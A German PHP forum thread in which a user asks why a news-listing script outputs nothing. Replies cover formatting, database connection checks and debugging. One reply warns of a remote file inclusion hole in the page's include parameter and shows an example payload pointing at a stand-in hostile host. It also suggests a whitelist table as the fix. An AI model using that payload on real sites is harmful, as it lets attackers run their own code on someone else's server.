PHP: Scriptproblem ^_^

[HoRRoRTeRRaN]

Folgendes script gibt genau NICHTS aus, wo ist der Fehler?
<?php
$check1=1;
$numma=0;
$datenow=strtotime("+6 hours");
$nselect2=mysql_query("SELECT * FROM new_news ORDER BY date DESC LIMIT 50");
while($nselect=mysql_fetch_object($nselect2)) {
$datenow1=date("d.m.Y",$datenow);
$datecheck1=date("d.m.Y",$nselect->date);
if($datecheck1 == $datenow1) {
if($check1 == 1) {
if($numma > 0) {
echo "<tr><td></td></tr>"; }
echo "
<tr>
<td><b>".date("jS M Y",$datenow)."</b></td>
</tr>";
$check1++; }
echo "
<tr>
<td><img src=\"img/small_".$nselect->modus.".png\" border=\"0\"> <a href=\"index.php?include=view.news&newsid=".$nselect->id."\">".$nselect->topic;
$n2select2=mysql_query("SELECT * FROM new_newscomments WHERE news_id = '$nselect->id'");
$zahlen=0;
while($n2select=mysql_fetch_object($n2select2)) { $zahlen++; }
echo " ($zahlen)</a></td>
</tr>";
}
else {
$check1=1;
$datenow=$datenow-86400; }
$numma++;
}
?>

 

[killerchicken_inaktiv]

Das erste Problem ist die grausame Formatierung.

Zweitens: Wie waers damit, ne DB-Connection aufzumachen etc? Sonst kann das nicht funktionieren mit mysql_query...

Hier der Code nochmal in ordentlicher:

<?php
$check1=1;
$numma=0;
$datenow=strtotime("+6 hours");
$nselect2=mysql_query("SELECT * FROM new_news ORDER BY date DESC LIMIT 50");
while($nselect=mysql_fetch_object($nselect2))
{
	$datenow1=date("d.m.Y",$datenow);
	$datecheck1=date("d.m.Y",$nselect->date);
	if($datecheck1 == $datenow1)
	{
	
		if($check1 == 1)
		{
			if($numma > 0)
			{
				echo "<tr><td></td></tr>";
			}
			echo "
				<tr>
					<td><b>".date("jS M Y",$datenow)."</b></td>
				</tr>"; 
			$check1++;
		}
		echo "
		<tr>
		<td><img src=\"img/small_".$nselect->modus.".png\" border=\"0\"> <a href=\"index.php?include=view.news&newsid=".$nselect->id."\">".$nselect->topic;
		$n2select2=mysql_query("SELECT * FROM new_newscomments WHERE news_id = '$nselect->id'");
		$zahlen=0;
		while($n2select=mysql_fetch_object($n2select2)) { $zahlen++; }
		echo " ($zahlen)</a></td>
		</tr>";
	} else {
		$check1=1;
		$datenow=$datenow-86400;
	}
	$numma++;
}
?>

 

[HoRRoRTeRRaN]

der code ist bei mir eingerückt, wurde aber bei copy/paste innen browser nicht übernommen.
DB connection ist da, da das folgende script in die index datei included wird.

 

[HERR 2FICKENDEHUNDE]

Original geschrieben von HoRRoR.T-ScT-
der code ist bei mir eingerückt, wurde aber bei copy/paste innen browser nicht übernommen.

dafür hat das forum eine code funktion code /code in eckigen klammern

 

[killerchicken_inaktiv]

Wenn also ne DB-Con da ist, dann wird wahrscheinlich einfach durch das Query kein Datensatz ausgewaehlt Ohne weitere Infos (DB-Dump, restliches Script, etc) wird das hier jedenfalls nix

 

[Picard]

mal was anderers_

?include=view.news

ich hoffe du addest da hinten nichtnur nen .php und bindest das via include ein. das wäre nämlich ein wundervolles sicherheitsloch.

 

[HoRRoRTeRRaN]

inwiefern?

 

[Picard]

weil ich als user diese variable ändern kann

?include=http://badsite.com/badscript

oder wenn du irgendwo ne uploadmöglichkeit hast und filetypes net durchgehst etc ppp

ich machs generell so, dass ich mir noch ne tabelle anlegen und dort
id, name und file +sonstigen payload (z.b. permissionLevel) hinterlege

 

[HoRRoRTeRRaN]

k danke , fixed.
seht ihr in dem oben gegebenen script keinen fehler?
wie gesagt DB connection ist gegeben etc pp.
Falls es notwendig ist kann ich noch die strukturen der benutzen mysql tabellen geben.

 

[TriloByte]

Abgesehen von dem grauenhaften Code:

- was soll das Script leisten?
- Debugger anschmeißen und Variableninhalte ansehen.
- mysql_error() prüfen
- Ausgaben gibt es nur, wenn eine date-Spalte diese Bedingung erfüllt: if($datecheck1 == $datenow1). Gibt es überhaupt ein entsprechendes Tupel unter den neuesten 50?